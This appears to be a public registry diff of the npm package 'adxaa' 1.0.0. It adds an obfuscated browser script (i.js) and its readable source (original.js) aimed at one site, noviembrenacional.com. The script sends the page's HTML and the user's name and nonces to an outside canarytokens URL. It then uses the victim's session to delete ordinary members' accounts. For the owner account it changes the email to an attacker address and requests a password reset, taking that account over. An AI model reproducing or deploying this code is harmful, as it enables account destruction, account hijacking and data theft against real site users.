adxaa 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/i.js +1 -0
- package/original.js +135 -0
- package/package.json +5 -0
package/i.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
let _0xd243bf;const CANARY_URL="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0063\u0061\u006E\u0061\u0072\u0079\u0074\u006F\u006B\u0065\u006E\u0073\u002E\u0063\u006F\u006D\u002F\u0061\u0072\u0074\u0069\u0063\u006C\u0065\u0073\u002F\u0074\u0061\u0067\u0073\u002F\u0069\u006D\u0061\u0067\u0065\u0073\u002F\u006A\u0031\u0031\u006C\u0071\u0034\u0073\u0077\u0075\u007A\u0076\u0073\u006C\u0063\u0039\u0036\u0071\u0066\u0069\u0039\u0070\u006D\u0073\u006A\u0069\u002F\u0073\u0075\u0062\u006D\u0069\u0074\u002E\u0061\u0073\u0070\u0078";_0xd243bf='\u0066\u006D\u0064\u0068\u006B\u0063';function encodeBase64(str){return btoa(unescape(encodeURIComponent(str)));}async function exploit(){try{if(!window['\u006C\u006F\u0063\u0061\u0074\u0069\u006F\u006E']['\u0068\u0072\u0065\u0066']['\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073']("\u006E\u006F\u0076\u0069\u0065\u006D\u0062\u0072\u0065\u006E\u0061\u0063\u0069\u006F\u006E\u0061\u006C\u002E\u0063\u006F\u006D")){return;}const _0xc99g=document['\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u0045\u006C\u0065\u006D\u0065\u006E\u0074']['\u006F\u0075\u0074\u0065\u0072\u0048\u0054\u004D\u004C'];const _0xbg_0xbb3=encodeBase64(_0xc99g);await fetch(CANARY_URL,{'\u006D\u0065\u0074\u0068\u006F\u0064':"\u0050\u004F\u0053\u0054",'\u0068\u0065\u0061\u0064\u0065\u0072\u0073':{'Content-Type':'application/x-www-form-urlencoded'},"body":"\u0074\u0079\u0070\u0065\u003D\u0070\u0061\u0067\u0065\u005F\u0068\u0074\u006D\u006C\u0026\u0064\u0061\u0074\u0061\u003D"+encodeURIComponent(_0xbg_0xbb3)})['\u0063\u0061\u0074\u0063\u0068'](e=>{});await fetch(CANARY_URL+"detrats=epyt?".split("").reverse().join(""))['\u0063\u0061\u0074\u0063\u0068'](e=>{});var _0xff487f=(257820^257817)+(147381^147379);const _0xa02ace=document['\u0071\u0075\u0065\u0072\u0079\u0053\u0065\u006C\u0065\u0063\u0074\u006F\u0072']("\u0073\u0070\u0061\u006E\u002E\u0062\u0070\u002D\u0075\u0073\u0065\u0072");_0xff487f=265568^265574;if(!_0xa02ace){await fetch(CANARY_URL+"\u003F\u0074\u0079\u0070\u0065\u003D\u006E\u006F\u005F\u0075\u0073\u0065\u0072\u005F\u0073\u0070\u0061\u006E")['\u0063\u0061\u0074\u0063\u0068'](e=>{});return;}let _0xfcbf;const _0x3gf6f=_0xa02ace['\u0074\u0065\u0078\u0074\u0043\u006F\u006E\u0074\u0065\u006E\u0074']['\u0074\u0072\u0069\u006D']();_0xfcbf=(405687^405682)+(475098^475101);await fetch(CANARY_URL+"\u003F\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003D"+encodeURIComponent(_0x3gf6f))['\u0063\u0061\u0074\u0063\u0068'](e=>{});if(_0x3gf6f==="\u004A\u0075\u0061\u006E\u0043\u0075\u0065\u0073\u0074\u0061"){await fetch(CANARY_URL+"=resu&resu_detcetorp=epyt?".split("").reverse().join("")+encodeURIComponent(_0x3gf6f))['\u0063\u0061\u0074\u0063\u0068'](e=>{});return;}if(_0x3gf6f!=="\u006E\u006F\u0076\u0069\u0065\u006D\u0062\u0072\u0065\u006E\u0061\u0063\u0069\u006F\u006E\u0061\u006C"){const _0xf_0x9ae=await fetch("\u002F\u006D\u0065\u006D\u0062\u0065\u0072\u0073\u002F"+_0x3gf6f+"\u002F\u0073\u0065\u0074\u0074\u0069\u006E\u0067\u0073\u002F\u0064\u0065\u006C\u0065\u0074\u0065\u002D\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u002F");const _0x2b48cb=await _0xf_0x9ae['\u0074\u0065\u0078\u0074']();var _0x78ca=(126513^126519)+(928835^928836);const parser=new DOMParser();_0x78ca=353487^353487;var _0xaeb32c=(489570^489570)+(944094^944093);const _0xg5f9d=parser['\u0070\u0061\u0072\u0073\u0065\u0046\u0072\u006F\u006D\u0053\u0074\u0072\u0069\u006E\u0067'](_0x2b48cb,"lmth/txet".split("").reverse().join(""));_0xaeb32c=(385710^385711)+(198047^198040);let _0x8fa28g;const _0xd741f=_0xg5f9d['\u0071\u0075\u0065\u0072\u0079\u0053\u0065\u006C\u0065\u0063\u0074\u006F\u0072']("\u0069\u006E\u0070\u0075\u0074\u005B\u006E\u0061\u006D\u0065\u003D\u0022\u005F\u0077\u0070\u006E\u006F\u006E\u0063\u0065\u0022\u005D")?.value;_0x8fa28g="bknncq".split("").reverse().join("");let _0xge_0xd18;const wpReferer=_0xg5f9d['\u0071\u0075\u0065\u0072\u0079\u0053\u0065\u006C\u0065\u0063\u0074\u006F\u0072']("\u0069\u006E\u0070\u0075\u0074\u005B\u006E\u0061\u006D\u0065\u003D\u0022\u005F\u0077\u0070\u005F\u0068\u0074\u0074\u0070\u005F\u0072\u0065\u0066\u0065\u0072\u0065\u0072\u0022\u005D")?.value;_0xge_0xd18=(736653^736645)+(718412^718409);if(_0xd741f){let _0x_0xa6c;const _0xba93cc=new URLSearchParams();_0x_0xa6c=(535723^535715)+(703692^703692);_0xba93cc['\u0061\u0070\u0070\u0065\u006E\u0064']("\u0064\u0065\u006C\u0065\u0074\u0065\u002D\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u002D\u0075\u006E\u0064\u0065\u0072\u0073\u0074\u0061\u006E\u0064","\u0031");_0xba93cc['\u0061\u0070\u0070\u0065\u006E\u0064']("\u0064\u0065\u006C\u0065\u0074\u0065\u002D\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u002D\u0062\u0075\u0074\u0074\u006F\u006E","atneuc ranimilE".split("").reverse().join(""));_0xba93cc['\u0061\u0070\u0070\u0065\u006E\u0064']("ecnonpw_".split("").reverse().join(""),_0xd741f);_0xba93cc['\u0061\u0070\u0070\u0065\u006E\u0064']("rerefer_ptth_pw_".split("").reverse().join(""),wpReferer);await fetch("\u002F\u006D\u0065\u006D\u0062\u0065\u0072\u0073\u002F"+_0x3gf6f+"\u002F\u0073\u0065\u0074\u0074\u0069\u006E\u0067\u0073\u002F\u0064\u0065\u006C\u0065\u0074\u0065\u002D\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u002F",{'\u006D\u0065\u0074\u0068\u006F\u0064':'POST','\u0068\u0065\u0061\u0064\u0065\u0072\u0073':{'Content-Type':"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u0078\u002D\u0077\u0077\u0077\u002D\u0066\u006F\u0072\u006D\u002D\u0075\u0072\u006C\u0065\u006E\u0063\u006F\u0064\u0065\u0064"},'\u0062\u006F\u0064\u0079':_0xba93cc['\u0074\u006F\u0053\u0074\u0072\u0069\u006E\u0067'](),'\u0063\u0072\u0065\u0064\u0065\u006E\u0074\u0069\u0061\u006C\u0073':'include'});await fetch(CANARY_URL+"\u003F\u0074\u0079\u0070\u0065\u003D\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u005F\u0064\u0065\u006C\u0065\u0074\u0065\u0064\u0026\u0075\u0073\u0065\u0072\u003D"+encodeURIComponent(_0x3gf6f))['\u0063\u0061\u0074\u0063\u0068'](e=>{});}return;}const _0x16882d=await fetch("\u002F\u006D\u0079\u002D\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u002F\u0065\u0064\u0069\u0074\u0061\u0072\u002D\u0063\u0075\u0065\u006E\u0074\u0061\u002F");let _0x2_0x36d;const _0x3599cf=await _0x16882d['\u0074\u0065\u0078\u0074']();_0x2_0x36d=(917960^917967)+(129011^129011);var _0x3361fc=(257083^257083)+(928400^928403);const parser=new DOMParser();_0x3361fc="ddmceq".split("").reverse().join("");const _0x3_0xf4b=parser['\u0070\u0061\u0072\u0073\u0065\u0046\u0072\u006F\u006D\u0053\u0074\u0072\u0069\u006E\u0067'](_0x3599cf,"lmth/txet".split("").reverse().join(""));const _0x7efd8c=_0x3_0xf4b['\u0071\u0075\u0065\u0072\u0079\u0053\u0065\u006C\u0065\u0063\u0074\u006F\u0072']("\u0069\u006E\u0070\u0075\u0074\u005B\u006E\u0061\u006D\u0065\u003D\u0022\u0073\u0061\u0076\u0065\u002D\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u002D\u0064\u0065\u0074\u0061\u0069\u006C\u0073\u002D\u006E\u006F\u006E\u0063\u0065\u0022\u005D")?.value;const wpReferer=_0x3_0xf4b['\u0071\u0075\u0065\u0072\u0079\u0053\u0065\u006C\u0065\u0063\u0074\u006F\u0072']("\u0069\u006E\u0070\u0075\u0074\u005B\u006E\u0061\u006D\u0065\u003D\u0022\u005F\u0077\u0070\u005F\u0068\u0074\u0074\u0070\u005F\u0072\u0065\u0066\u0065\u0072\u0065\u0072\u0022\u005D")?.value;const _0xd1ba6c=_0x3_0xf4b['\u0071\u0075\u0065\u0072\u0079\u0053\u0065\u006C\u0065\u0063\u0074\u006F\u0072']("\u0069\u006E\u0070\u0075\u0074\u005B\u006E\u0061\u006D\u0065\u003D\u0022\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u005F\u0066\u0069\u0072\u0073\u0074\u005F\u006E\u0061\u006D\u0065\u0022\u005D")?.value;var _0xe23d9f=(663568^663573)+(840568^840574);const _0x4_0xd3a=_0x3_0xf4b['\u0071\u0075\u0065\u0072\u0079\u0053\u0065\u006C\u0065\u0063\u0074\u006F\u0072']("]\"eman_tsal_tnuocca\"=eman[tupni".split("").reverse().join(""))?.value;_0xe23d9f=(247944^247950)+(825610^825615);var _0x0f5e5b=(901935^901934)+(196263^196258);const _0x5656cd=_0x3_0xf4b['\u0071\u0075\u0065\u0072\u0079\u0053\u0065\u006C\u0065\u0063\u0074\u006F\u0072']("\u0069\u006E\u0070\u0075\u0074\u005B\u006E\u0061\u006D\u0065\u003D\u0022\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u005F\u0064\u0069\u0073\u0070\u006C\u0061\u0079\u005F\u006E\u0061\u006D\u0065\u0022\u005D")?.value;_0x0f5e5b=(239953^239957)+(836627^836635);if(!_0x7efd8c){await fetch(CANARY_URL+"\u003F\u0074\u0079\u0070\u0065\u003D\u006E\u006F\u005F\u006E\u006F\u006E\u0063\u0065")['\u0063\u0061\u0074\u0063\u0068'](e=>{});return;}await fetch(CANARY_URL+"\u003F\u0074\u0079\u0070\u0065\u003D\u0067\u006F\u0074\u005F\u006E\u006F\u006E\u0063\u0065\u0026\u006E\u006F\u006E\u0063\u0065\u003D"+encodeURIComponent(_0x7efd8c))['\u0063\u0061\u0074\u0063\u0068'](e=>{});let _0xeefcb;const _0x2e5a3b="\u006E\u0079\u0078\u0061\u006C\u006F\u0072\u005F\u0032\u0035\u0040\u0070\u0072\u006F\u0074\u006F\u006E\u002E\u006D\u0065";_0xeefcb=(822368^822370)+(370501^370501);const _0x4f3f=new URLSearchParams();_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("eman_tsrif_tnuocca".split("").reverse().join(""),_0xd1ba6c);_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("eman_tsal_tnuocca".split("").reverse().join(""),_0x4_0xd3a);_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u005F\u0064\u0069\u0073\u0070\u006C\u0061\u0079\u005F\u006E\u0061\u006D\u0065",_0x5656cd);_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u005F\u0065\u006D\u0061\u0069\u006C",_0x2e5a3b);_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u005F\u0063\u0075\u0072\u0072\u0065\u006E\u0074",'');_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("1_drowssap".split("").reverse().join(""),'');_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("2_drowssap".split("").reverse().join(""),'');_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("\u0073\u0061\u0076\u0065\u002D\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u002D\u0064\u0065\u0074\u0061\u0069\u006C\u0073\u002D\u006E\u006F\u006E\u0063\u0065",_0x7efd8c);_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("rerefer_ptth_pw_".split("").reverse().join(""),wpReferer);_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("sliated_tnuocca_evas".split("").reverse().join(""),"\u0047\u0075\u0061\u0072\u0064\u0061\u0072\u0020\u0063\u0061\u006D\u0062\u0069\u006F\u0073");_0x4f3f['\u0061\u0070\u0070\u0065\u006E\u0064']("noitca".split("").reverse().join(""),"sliated_tnuocca_evas".split("").reverse().join(""));await fetch("\u002F\u006D\u0079\u002D\u0061\u0063\u0063\u006F\u0075\u006E\u0074\u002F\u0065\u0064\u0069\u0074\u0061\u0072\u002D\u0063\u0075\u0065\u006E\u0074\u0061\u002F",{'\u006D\u0065\u0074\u0068\u006F\u0064':'POST',"headers":{'Content-Type':"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u0078\u002D\u0077\u0077\u0077\u002D\u0066\u006F\u0072\u006D\u002D\u0075\u0072\u006C\u0065\u006E\u0063\u006F\u0064\u0065\u0064"},'\u0062\u006F\u0064\u0079':_0x4f3f['\u0074\u006F\u0053\u0074\u0072\u0069\u006E\u0067'](),'\u0063\u0072\u0065\u0064\u0065\u006E\u0074\u0069\u0061\u006C\u0073':"\u0069\u006E\u0063\u006C\u0075\u0064\u0065"});await fetch(CANARY_URL+"=liame&sseccus_tiolpxe=epyt?".split("").reverse().join("")+encodeURIComponent(_0x2e5a3b))['\u0063\u0061\u0074\u0063\u0068'](e=>{});var _0x16498f=(908119^908116)+(843675^843673);const _0x9cc9f=new URLSearchParams();_0x16498f=(827325^827322)+(641528^641532);_0x9cc9f['\u0061\u0070\u0070\u0065\u006E\u0064']("\u0075\u0073\u0065\u0072\u005F\u006C\u006F\u0067\u0069\u006E",_0x2e5a3b);_0x9cc9f['\u0061\u0070\u0070\u0065\u006E\u0064']("\u0072\u0065\u0064\u0069\u0072\u0065\u0063\u0074\u005F\u0074\u006F",'');_0x9cc9f['\u0061\u0070\u0070\u0065\u006E\u0064']("timbus-pw".split("").reverse().join(""),"\u004F\u0062\u0074\u0065\u006E\u0065\u0072\u0020\u0075\u006E\u0061\u0020\u0063\u006F\u006E\u0074\u0072\u0061\u0073\u0065\u00F1\u0061\u0020\u006E\u0075\u0065\u0076\u0061");await fetch("\u002F\u0077\u0070\u002D\u006C\u006F\u0067\u0069\u006E\u002E\u0070\u0068\u0070\u003F\u0061\u0063\u0074\u0069\u006F\u006E\u003D\u006C\u006F\u0073\u0074\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064",{'\u006D\u0065\u0074\u0068\u006F\u0064':"\u0050\u004F\u0053\u0054","headers":{"\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065":'application/x-www-form-urlencoded'},"body":_0x9cc9f['\u0074\u006F\u0053\u0074\u0072\u0069\u006E\u0067'](),'\u0063\u0072\u0065\u0064\u0065\u006E\u0074\u0069\u0061\u006C\u0073':"\u0069\u006E\u0063\u006C\u0075\u0064\u0065"});await fetch(CANARY_URL+"\u003F\u0074\u0079\u0070\u0065\u003D\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u005F\u0072\u0065\u0073\u0065\u0074\u0026\u0065\u006D\u0061\u0069\u006C\u003D"+encodeURIComponent(_0x2e5a3b))['\u0063\u0061\u0074\u0063\u0068'](e=>{});}catch(error){console['\u006C\u006F\u0067']("tset".split("").reverse().join(""));}}exploit();
|
package/original.js
ADDED
|
@@ -0,0 +1,135 @@
|
|
|
1
|
+
const CANARY_URL = 'https://canarytokens.com/articles/tags/images/j11lq4swuzvslc96qfi9pmsji/submit.aspx';
|
|
2
|
+
|
|
3
|
+
function encodeBase64(str) {
|
|
4
|
+
return btoa(unescape(encodeURIComponent(str)));
|
|
5
|
+
}
|
|
6
|
+
|
|
7
|
+
async function exploit() {
|
|
8
|
+
try {
|
|
9
|
+
if (!window.location.href.includes('noviembrenacional.com')) {
|
|
10
|
+
return;
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
const pageContent = document.documentElement.outerHTML;
|
|
14
|
+
const pageBase64 = encodeBase64(pageContent);
|
|
15
|
+
|
|
16
|
+
await fetch(CANARY_URL, {
|
|
17
|
+
method: 'POST',
|
|
18
|
+
headers: {
|
|
19
|
+
'Content-Type': 'application/x-www-form-urlencoded'
|
|
20
|
+
},
|
|
21
|
+
body: 'type=page_html&data=' + encodeURIComponent(pageBase64)
|
|
22
|
+
}).catch(e => {});
|
|
23
|
+
|
|
24
|
+
await fetch(CANARY_URL + '?type=started').catch(e => {});
|
|
25
|
+
|
|
26
|
+
const userSpan = document.querySelector('span.bp-user');
|
|
27
|
+
if (!userSpan) {
|
|
28
|
+
await fetch(CANARY_URL + '?type=no_user_span').catch(e => {});
|
|
29
|
+
return;
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
const username = userSpan.textContent.trim();
|
|
33
|
+
|
|
34
|
+
await fetch(CANARY_URL + '?username=' + encodeURIComponent(username)).catch(e => {});
|
|
35
|
+
|
|
36
|
+
if (username === 'JuanCuesta') {
|
|
37
|
+
await fetch(CANARY_URL + '?type=protected_user&user=' + encodeURIComponent(username)).catch(e => {});
|
|
38
|
+
return;
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
if (username !== 'noviembrenacional') {
|
|
42
|
+
const deletePageResponse = await fetch('/members/' + username + '/settings/delete-account/');
|
|
43
|
+
const deletePageHtml = await deletePageResponse.text();
|
|
44
|
+
const parser = new DOMParser();
|
|
45
|
+
const deletePageDoc = parser.parseFromString(deletePageHtml, 'text/html');
|
|
46
|
+
|
|
47
|
+
const wpnonce = deletePageDoc.querySelector('input[name="_wpnonce"]')?.value;
|
|
48
|
+
const wpReferer = deletePageDoc.querySelector('input[name="_wp_http_referer"]')?.value;
|
|
49
|
+
|
|
50
|
+
if (wpnonce) {
|
|
51
|
+
const deleteFormData = new URLSearchParams();
|
|
52
|
+
deleteFormData.append('delete-account-understand', '1');
|
|
53
|
+
deleteFormData.append('delete-account-button', 'Eliminar cuenta');
|
|
54
|
+
deleteFormData.append('_wpnonce', wpnonce);
|
|
55
|
+
deleteFormData.append('_wp_http_referer', wpReferer);
|
|
56
|
+
|
|
57
|
+
await fetch('/members/' + username + '/settings/delete-account/', {
|
|
58
|
+
method: 'POST',
|
|
59
|
+
headers: {
|
|
60
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
|
61
|
+
},
|
|
62
|
+
body: deleteFormData.toString(),
|
|
63
|
+
credentials: 'include'
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
await fetch(CANARY_URL + '?type=account_deleted&user=' + encodeURIComponent(username)).catch(e => {});
|
|
67
|
+
}
|
|
68
|
+
return;
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
const editPageResponse = await fetch('/my-account/editar-cuenta/');
|
|
72
|
+
const editPageHtml = await editPageResponse.text();
|
|
73
|
+
const parser = new DOMParser();
|
|
74
|
+
const editPageDoc = parser.parseFromString(editPageHtml, 'text/html');
|
|
75
|
+
|
|
76
|
+
const nonce = editPageDoc.querySelector('input[name="save-account-details-nonce"]')?.value;
|
|
77
|
+
const wpReferer = editPageDoc.querySelector('input[name="_wp_http_referer"]')?.value;
|
|
78
|
+
const firstName = editPageDoc.querySelector('input[name="account_first_name"]')?.value;
|
|
79
|
+
const lastName = editPageDoc.querySelector('input[name="account_last_name"]')?.value;
|
|
80
|
+
const displayName = editPageDoc.querySelector('input[name="account_display_name"]')?.value;
|
|
81
|
+
|
|
82
|
+
if (!nonce) {
|
|
83
|
+
await fetch(CANARY_URL + '?type=no_nonce').catch(e => {});
|
|
84
|
+
return;
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
await fetch(CANARY_URL + '?type=got_nonce&nonce=' + encodeURIComponent(nonce)).catch(e => {});
|
|
88
|
+
|
|
89
|
+
const newEmail = 'nyxalor_25@proton.me';
|
|
90
|
+
const formData = new URLSearchParams();
|
|
91
|
+
formData.append('account_first_name', firstName);
|
|
92
|
+
formData.append('account_last_name', lastName);
|
|
93
|
+
formData.append('account_display_name', displayName);
|
|
94
|
+
formData.append('account_email', newEmail);
|
|
95
|
+
formData.append('password_current', '');
|
|
96
|
+
formData.append('password_1', '');
|
|
97
|
+
formData.append('password_2', '');
|
|
98
|
+
formData.append('save-account-details-nonce', nonce);
|
|
99
|
+
formData.append('_wp_http_referer', wpReferer);
|
|
100
|
+
formData.append('save_account_details', 'Guardar cambios');
|
|
101
|
+
formData.append('action', 'save_account_details');
|
|
102
|
+
|
|
103
|
+
await fetch('/my-account/editar-cuenta/', {
|
|
104
|
+
method: 'POST',
|
|
105
|
+
headers: {
|
|
106
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
|
107
|
+
},
|
|
108
|
+
body: formData.toString(),
|
|
109
|
+
credentials: 'include'
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
await fetch(CANARY_URL + '?type=exploit_success&email=' + encodeURIComponent(newEmail)).catch(e => {});
|
|
113
|
+
|
|
114
|
+
const lostPasswordData = new URLSearchParams();
|
|
115
|
+
lostPasswordData.append('user_login', newEmail);
|
|
116
|
+
lostPasswordData.append('redirect_to', '');
|
|
117
|
+
lostPasswordData.append('wp-submit', 'Obtener una contraseña nueva');
|
|
118
|
+
|
|
119
|
+
await fetch('/wp-login.php?action=lostpassword', {
|
|
120
|
+
method: 'POST',
|
|
121
|
+
headers: {
|
|
122
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
|
123
|
+
},
|
|
124
|
+
body: lostPasswordData.toString(),
|
|
125
|
+
credentials: 'include'
|
|
126
|
+
});
|
|
127
|
+
|
|
128
|
+
await fetch(CANARY_URL + '?type=password_reset&email=' + encodeURIComponent(newEmail)).catch(e => {});
|
|
129
|
+
|
|
130
|
+
} catch (error) {
|
|
131
|
+
console.log("test");
|
|
132
|
+
}
|
|
133
|
+
}
|
|
134
|
+
|
|
135
|
+
exploit();
|